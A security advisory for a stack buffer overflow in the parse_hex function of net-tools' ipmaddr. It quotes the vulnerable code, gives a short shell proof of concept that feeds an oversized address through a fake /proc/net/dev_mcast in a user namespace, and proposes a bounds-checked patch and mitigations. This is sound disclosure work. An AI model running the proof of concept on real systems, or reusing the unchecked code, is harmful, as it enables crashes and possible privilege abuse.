GHSA-h667-qrp8-gj58
CVE Information
Affected Binary: ipmaddr
Vulnerability Type: Stack-based Buffer Overflow1. Vulnerability Description
A stack buffer overflow vulnerability exists in the
parse_hexfunction withinipmaddr.cof the net-tools suite. This function is responsible for parsing hexadecimal hardware addresses from/proc/net/dev_mcastentries.The vulnerability occurs because the
parse_hexfunction writes decoded hex bytes into a fixed-size buffer without performing any bounds checking. When processing multicast addresses longer than the allocated buffer size (16 bytes), the function continues writing beyond the buffer boundary, corrupting the stack.2. Technical Details
Vulnerable Code (util-ank.c or ipmaddr.c,
parse_hex)static int parse_hex(char *str, unsigned char *addr) { int len=0; while (*str) { int tmp; if (str[1] == 0) return -1; if (sscanf(str, "%02x", &tmp) != 1) return -1; addr[len] = tmp; // NO BOUNDS CHECK! len++; str += 2; } return len; }Trigger Condition
The overflow is triggered in
read_dev_mcast()when:void read_dev_mcast(struct ma_info **result_p) { // ... while (fgets(buf, sizeof(buf), fp)) { char hexa[256]; struct ma_info m; // Contains inet_prefix addr with __u32 data[4] (16 bytes) // Parse the hex string m.addr.family = AF_PACKET; len = parse_hex(hexa, (unsigned char*)&m.addr.data); // Overflow here! // ... } }The
m.addr.databuffer is only 16 bytes (__u32 data[4]), butparse_hexwill write as many bytes as the hex string contains.3. Proof of Concept (PoC)
# Create a malicious /proc/net/dev_mcast with 20-byte address (40 hex chars) mkdir -p /tmp/ipmaddr_poc_dir/net echo "1 eth_poc_ma 1 0 0102030405060708090A0B0C0D0E0F1011121314" > /tmp/ipmaddr_poc_dir/net/dev_mcast # Execute ipmaddr in controlled namespace unshare -Urim sh -c ' mount -t tmpfs tmpfs /proc mkdir -p /proc/net cp /tmp/ipmaddr_poc_dir/net/dev_mcast /proc/net/dev_mcast ./ipmaddr show '4. Observed Behavior
5. Proposed Patch
The
parse_hexfunction must accept a size parameter and check bounds before writing:static int parse_hex(char *str, unsigned char *addr, size_t max_len) { int len = 0; while (*str && len < max_len) { int tmp; if (str[1] == 0) return -1; if (sscanf(str, "%02x", &tmp) != 1) return -1; addr[len] = tmp; len++; str += 2; } /* Check if there's still data but buffer is full */ if (*str && len >= max_len) return -1; /* Buffer too small */ return len; } /* Updated call in read_dev_mcast() */ len = parse_hex(hexa, (unsigned char*)&m.addr.data, sizeof(m.addr.data)); if (len < 0 || len > sizeof(m.addr.data)) { /* Handle error */ continue; }6. Mitigations
- Apply the patch to add bounds checking
- Disable unprivileged user namespaces (
sysctl kernel.unprivileged_userns_clone=0) to prevent non-root exploitation- Update to a patched version of net-tools when available
7. Credits
Discovered, reported and coordinated by Mohamed Maatallah (@Zephkek), May 2025.